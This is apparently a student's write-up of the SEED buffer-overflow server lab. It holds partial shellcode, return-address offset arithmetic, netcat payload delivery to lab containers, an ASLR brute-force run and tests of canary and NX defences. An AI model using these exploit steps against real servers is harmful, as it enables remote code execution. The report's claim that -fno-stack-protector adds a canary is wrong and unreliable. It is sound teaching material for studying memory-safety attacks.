**Buffer Overflow Attack Lab (Server Version)**

**Task 1: Get Familiar with the Shellcode**

```
[09/28/25]seed@VM:~/.../shellcode$ ./shellcode_32.py
[09/28/25]seed@VM:~/.../shellcode$ ./shellcode_64.py
[09/28/25]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
```

```
[09/28/25]seed@VM:~/.../shellcode$ echo SHELL_OK > /tmp/shellcode_o
k
[09/28/25]seed@VM:~/.../shellcode$ ./a32.out
total 64
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Sep 28 22:01 a32.out
-rwxrwxr-x 1 seed seed 16888 Sep 28 22:01 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Sep 28 22:01 codefile_32
-rw-rw-r-- 1 seed seed   165 Sep 28 22:01 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 32
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh
[09/28/25]seed@VM:~/.../shellcode$ ls -l /tmp/shellcode_ok
-rw-rw-r-- 1 seed seed 9 Sep 28 22:04 /tmp/shellcode_ok
[09/28/25]seed@VM:~/.../shellcode$ cat /tmp/shellcode_ok
SHELL_OK
```

Do the same for a64

```
[09/28/25]seed@VM:~/.../shellcode$ echo SHELL_OK > /tmp/shellcode_o
k64
[09/28/25]seed@VM:~/.../shellcode$ ./a64.out
total 64
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Sep 28 22:01 a32.out
-rwxrwxr-x 1 seed seed 16888 Sep 28 22:01 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   136 Sep 28 22:01 codefile_32
-rw-rw-r-- 1 seed seed   165 Sep 28 22:01 codefile_64
-rwxrwxr-x 1 seed seed  1221 Dec 22  2020 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
Hello 64
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
user1:x:1001:1001::/home/user1:/bin/sh
[09/28/25]seed@VM:~/.../shellcode$ ls -l /tmp/shellcode_ok64
-rw-rw-r-- 1 seed seed 9 Sep 28 22:06 /tmp/shellcode_ok64
[09/28/25]seed@VM:~/.../shellcode$ cat /tmp/shellcode_ok64
SHELL_OK
```

Modify shellcode_32.py with this:

```
shellcode = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x>
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x>
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\x>
   "/bin/bash*"
   "-c*"
   # You can modify the following command string to run any comman>
   # You can even run multiple commands. When you change the strin>
   # make sure that the position of the * at the end doesn't chang>
   # The code above will change the byte at this position to zero,
   # so the command string ends here.
   # You can delete/add spaces, if needed, to keep the position th>
   # The * in this line serves as the position marker         *
   "/bin/ls -l; echo SHELL_OK                       *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')
```

Remake the shellcode_32.py file:

```
[09/28/25]seed@VM:~/.../shellcode$ ./shellcode_32.py
[09/28/25]seed@VM:~/.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[09/28/25]seed@VM:~/.../shellcode$ ./a32.out
total 64
-rw-rw-r-- 1 seed seed   160 Dec 22  2020 Makefile
-rw-rw-r-- 1 seed seed   312 Dec 22  2020 README.md
-rwxrwxr-x 1 seed seed 15740 Sep 28 22:15 a32.out
-rwxrwxr-x 1 seed seed 16888 Sep 28 22:15 a64.out
-rw-rw-r-- 1 seed seed   476 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed   126 Sep 28 22:15 codefile_32
-rw-rw-r-- 1 seed seed   165 Sep 28 22:01 codefile_64
-rwxrwxr-x 1 seed seed  1211 Sep 28 22:11 shellcode_32.py
-rwxrwxr-x 1 seed seed  1295 Dec 22  2020 shellcode_64.py
SHELL OK *AAAABBBBC
```

From this, we can see that it successfully changed to the /tmp/shellcode_ok file that we made earlier.

**Task 2: Level-1 Attack**

Connect with server on attacker

```
d539935d5b78:~# echo hello | nc 10.9.0.5 9090
^C
```

```
Got a connection from 10.9.0.2
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():  0xffffd238
Buffer's address inside bof():     0xffffd1c8
==== Returned Properly ====
```

With the ebp and buffer address, we need to calculate the offset:

ebp - buffer = 0xffffd238 - 0xffffd1c8 = 0x70 = 112

→ 112 + 4 = 116 = 0x74

Point return → buffer + 16 = 0xffffd1c8 + 16 = 0xffffd1d8 → \xd8\xd1\xff\xff

Create the badfile after modifying and running exploit.py

```
[09/28/25]seed@VM:~/.../attack-code$ chmod +x exploit.py
[09/28/25]seed@VM:~/.../attack-code$ ./exploit.py 0xffffd1c8 0xffff
d238 100 16 badfile
WROTE badfile (517 bytes)
buffer: 0xffffd1c8
ebp   : 0xffffd238
offset_to_return: 116
ret written -> 0xffffd1d8
shellcode start: 100 len: 24
last 4 bytes (little-endian): d8 d1 ff ff
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting stack
Input size: 517
Frame Pointer (ebp) inside bof():  0xffffd238
Buffer's address inside bof():     0xffffd1c8
```

From this we can see that we sent the badfile but it did not return the "Returned Property".

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-1-10.9.0.5
 ls -l /tmp/pwned_by_you
-rw-r--r-- 1 root root 17 Sep 29 12:34 /tmp/pwned_by_you
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-1-10.9.0.5
 cat /tmp/pwned_by_you
pwned_by_Timothy
```

From this, we can see that we were able to create a connection to another shell in which we were able to place a temporary file into their terminal.

**Task 3: Level-2 Attack**

Connect with server on attacker

```
[09/29/25]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.6 9090
^C
[09/29/25]seed@VM:~/.../Labsetup$ docker logs -f server-2-10.9.0.6
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Buffer's address inside bof():     0xffffd178
==== Returned Properly ====
```

Using 0xffffd178, we once again modify exploit.py.

```
[09/29/25]seed@VM:~/.../attack-code$ nano exploit2.py
[09/29/25]seed@VM:~/.../attack-code$ chmod +x exploit2.py
[09/29/25]seed@VM:~/.../attack-code$ ./exploit2.py 0xffffd178 16 32
 badfile
WROTE badfile (517 bytes)
buffer: 0xffffd178
shell_start: 16 len(shellcode): 107
ret points to buffer + 32 -> 0xffffd198
candidate offsets: 104..304 (4-byte aligned)
example bytes at min offset: 98 d1 ff ff 98 d1 ff ff
```

```
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.6 9090
```

```
Got a connection from 10.9.0.1
Starting stack
Input size: 517
Buffer's address inside bof():     0xffffd178
```

From this we can see that we sent the badfile but it did not return the “Returned Property”

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-2-10.9.0.6
 ls -l /tmp/pwned_by_you
-rw-r--r-- 1 root root 18 Sep 29 12:45 /tmp/pwned_by_you
```

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-2-10.9.0.6
 ls -l /tmp/pwned_by_you
-rw-r--r-- 1 root root 18 Sep 29 12:45 /tmp/pwned_by_you
```

From this, we can see that we were able to create a connection to another shell in which we were able to place a temporary file into their terminal.

**Task 4: Level-3 Attack**

Connect with server on attacker

```
[09/29/25]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.7 9090
^C
[09/29/25]seed@VM:~/.../Labsetup$ docker logs -f server-3-10.9.0.7
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (rbp) inside bof():  0x00007fffffffe170
Buffer's address inside bof():     0x00007fffffffe0a0
==== Returned Properly ====
```

Using rbp and buffer’s address, we modify exploit.py again

```
[09/29/25]seed@VM:~/.../attack-code$ nano exploit3.py
[09/29/25]seed@VM:~/.../attack-code$ chmod +x exploit3.py
[09/29/25]seed@VM:~/.../attack-code$ ./exploit3.py 0x00007fffffffe0
a0 0x00007fffffffe170 16 32 badfile
WROTE badfile (517 bytes)
buffer: 0x7fffffffe0a0
rbp   : 0x7fffffffe170
offset_to_saved_return: 216
shell_start: 16 len(shellcode): 30
ret target (full): 0x7fffffffe0c0
ret bytes written (LSB..): c0 e0 ff ff ff 7f
```

```
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.7 9090
Got a connection from 10.9.0.1
Starting stack
Input size: 517
Frame Pointer (rbp) inside bof():  0x00007fffffffe170
Buffer's address inside bof():     0x00007fffffffe0a0
```

From this we can see that we sent the badfile but it did not return the “Returned Property”

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-3-10.9.0.7
 ls -l /tmp/pwned_by_you
-rw-r--r-- 1 root root 18 Sep 29 12:56 /tmp/pwned_by_you
```

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-3-10.9.0.7
 cat /tmp/pwned_by_you
pwned_by_Timothy
```

From this, we can see that we were able to create a connection to another shell in which we were able to place a temporary file into their terminal.

strcpy() stops copying when it sees a \x00. On 64-bit Linux, addresses have two leading zero bytes, so trying to put a full 8-byte address into the payload would insert a zero in the middle and strcpy() would cut off everything after it. To avoid that, I only overwrite the lower 6 bytes of the saved return address. The top 2 bytes are already 0x00 on the stack, so after my 6-byte write the full 8-byte return address is correct.

**Task 5: Level-4 Attack**

Connect with server on attacker

```
[09/29/25]seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.8 9090
^C
```

```
[09/29/25]seed@VM:~/.../Labsetup$ docker logs -f server-4-10.9.0.8
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (rbp) inside bof():  0x00007fffffffe170
Buffer's address inside bof():     0x00007fffffffe110
==== Returned Properly ====
```

Using rbp and buffer's address, we once again modify exploit.py

```
[09/29/25]seed@VM:~/.../attack-code$ nano exploit4.py
[09/29/25]seed@VM:~/.../attack-code$ chmod +x exploit4.py
[09/29/25]seed@VM:~/.../attack-code$ ./exploit4.py 0x00007fffffffe1
10 0x00007fffffffe170 80 80 badfile
WROTE badfile (517 bytes)
buffer: 0x7fffffffe110
rbp   : 0x7fffffffe170
offset_to_saved_return: 104
shell_start(offset from buf): 80
ret target (full): 0x7fffffffe160
ret bytes written (LSB..6): 60 e1 ff ff ff 7f
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.8 9090
Got a connection from 10.9.0.1
Starting stack
Input size: 517
Frame Pointer (rbp) inside bof():  0x00007fffffffe170
Buffer's address inside bof():     0x00007fffffffe110
```

From this we can see that we sent the badfile but it did not return the "Returned Property"

```
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-4-10.9.0.8
 ls -l /tmp/pwned_by_you
-rw-r--r-- 1 root root 18 Sep 29 01:11 /tmp/pwned by you
[09/29/25]seed@VM:~/.../Labsetup$ docker exec -it server-4-10.9.0.8
 cat /tmp/pwned_by_you
pwned_by_Timothy
```

From this, we can see that we were able to create a connection to another shell in which we were able to place a temporary file into their terminal.

**Task 6: Experimenting with the Address Randomization**

Try running for Level 1

```
[09/29/25]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.5 9090
```

Multiple times to see the difference between with address randomization enabled

```
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():  0xff88b568
Buffer's address inside bof():     0xff88b4f8
==== Returned Properly ====
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():  0xffe88398
Buffer's address inside bof():     0xffe88328
==== Returned Properly ====
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():  0xff802cf8
Buffer's address inside bof():     0xff802c88
==== Returned Properly ====
```

From this, we can see that each time the ebp and buffer's address have different values.

Do the same for Level 3

```
[09/29/25]seed@VM:~/.../attack-code$ echo hello | nc 10.9.0.7 9090
```

```
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (rbp) inside bof():  0x00007ffe475e2680
Buffer's address inside bof():     0x00007ffe475e25b0
==== Returned Properly ====
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (rbp) inside bof():  0x00007ffdc8962410
Buffer's address inside bof():     0x00007ffdc8962340
==== Returned Properly ====
Got a connection from 10.9.0.1
Starting stack
Input size: 6
Frame Pointer (rbp) inside bof():  0x00007ffe1754feb0
Buffer's address inside bof():     0x00007ffe1754fde0
==== Returned Properly ====
```

We can see that a similar thing happened with the Level 3 attacks

Now we try to brute force it and see if we can find a reverse shell

```
[09/29/25]seed@VM:~/.../Labsetup$ nano bruteforce_l1.sh
[09/29/25]seed@VM:~/.../Labsetup$ chmod +x bruteforce_l1.sh
[09/29/25]seed@VM:~/.../Labsetup$ ./bruteforce_l1.sh
4 minutes and 37 seconds elapsed.
The program has been running 1258 times so far.
```

So it looks like our script ran for 4 minutes and 37 seconds before we were able to successfully find a reverse shell.

**Task 9: Experimenting with Other Counter Measures**

Compiling stack.c with the -fno-stack-protector flag

```
[09/29/25]seed@VM:~/.../server-code$ gcc -fno-stack-protector -o st
ack-L1 stack.c
[09/29/25]seed@VM:~/.../server-code$ ./stack-L1 < badfile
*** stack smashing detected ***: terminated
Aborted (core dumped)
```

We can verify that using

```
[09/29/25]seed@VM:~/.../server-code$ nm -D ./stack-L1 2>/dev/null |
 grep stack_chk_fail || true
```

In which using the flag placed a canary value on the stack and the program checked it before returning, preventing execution of injected shellcode.

Now we can try by turning on the Non-executable Stack Protection

```
[09/29/25]seed@VM:~/.../shellcode$ gcc -m32 -o a32.out call_shellco
de.c
[09/29/25]seed@VM:~/.../shellcode$ gcc -m64 -o a64.out call_shellco
de.c
```

We can verify that these are not executables with

```
[09/29/25]seed@VM:~/.../shellcode$ readelf -l a32.out | grep GNU_ST
ACK -A1
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW
 0x10
  GNU_RELRO      0x002ec8 0x00003ec8 0x00003ec8 0x00138 0x00138 R
 0x1
[09/29/25]seed@VM:~/.../shellcode$ readelf -l a64.out | grep GNU_ST
ACK -A1
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000
000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
```

Where there is no E, meaning they are not executable. Now we can test by running the a32.out and a64.out

```
[09/29/25]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[09/29/25]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
```

In this, we can see that both resulted in segmentation faults, meaning that they prevented them from executing. NX stops simple stack-based shellcode attacks by marking the ELF GNU_STACK as non-executable, which prevents code on the stack from being executed and any attempts to run shellcode on the stack will crash.